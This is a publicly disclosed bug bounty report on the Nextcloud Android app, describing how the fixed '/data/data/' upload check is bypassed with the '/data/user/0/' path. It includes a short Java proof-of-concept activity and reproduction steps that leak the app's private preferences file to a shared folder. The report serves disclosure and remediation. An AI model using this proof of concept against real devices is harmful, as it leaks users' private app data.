HexBrain

Nextcloud · Report #1408692

Access to arbitrary file of the Nextcloud Android app from within the Nextcloud Android app

Validstatus
lowseverity
$250bounty
12upvotes
11 Sept 2022disclosed

Summary

Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-vw2w-gpcv-v39f

How it was found

Summary:

The Android client of nextcloud (com.nextcloud.client) allows arbitrary file including protected/private files to be leaked through the file upload functionality.

Steps To Reproduce:

A report 1142918 has been submitted for the vulnerability of leaking arbitrary protected files. NextCloud added a fix on May 18, 2021, which added a check to the class src/main/java/com/owncloud/android/files/services/FileUploader.java:

        if (file.getStoragePath().startsWith("/data/data/")) {
            Log_OC.d(TAG, "Upload from sensitive path is not allowed");
            return;
        }

The fix checks whether a file to be uploaded has a path starting with "/data/data". However, the check is not sufficient. We can easily bypass this check using the path "/data/user/0/" e.g. "/data/user/0/com.nextcloud.client/". A program to exploit this vulnerability can be:

public class EvilActivity extends AppCompatActivity {
    private static final String LOG_TAG = EvilActivity.class.getName();

    final static String PRIVATE_URI = "file:///data/user/0/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml";

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Log.d("heen", "EvilActivity started!");
        setResult(-1, new Intent().setData(Uri.parse(PRIVATE_URI)));
        finish();
    }
}

A working POC is as follows:

1. install and login nextcloud android client e.g. through the provider https://us.cloudamo.com

2. create a directory and set it 'shareable'

3.install the POC app with the program above

4. Navigate to the shareable directory in the step2, click '+', then choose "upload content from other apps"

5. Select "poc" then protected file will be uploaded to the shared folder, which is publicly shared and leaked.

Supporting Material/References:

A sample screenshot with protected files uploaded and their content is: {F1523976} {F1523979}

  • [attachment / reference] See attachments above

Impact

Arbitrary sensitive file of the nextcloud android client can be leaked. To address this issue, disallow any file whose path has the package name but isn't in the temp or cache folder of nextcloud.

Please investigate. Thanks.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original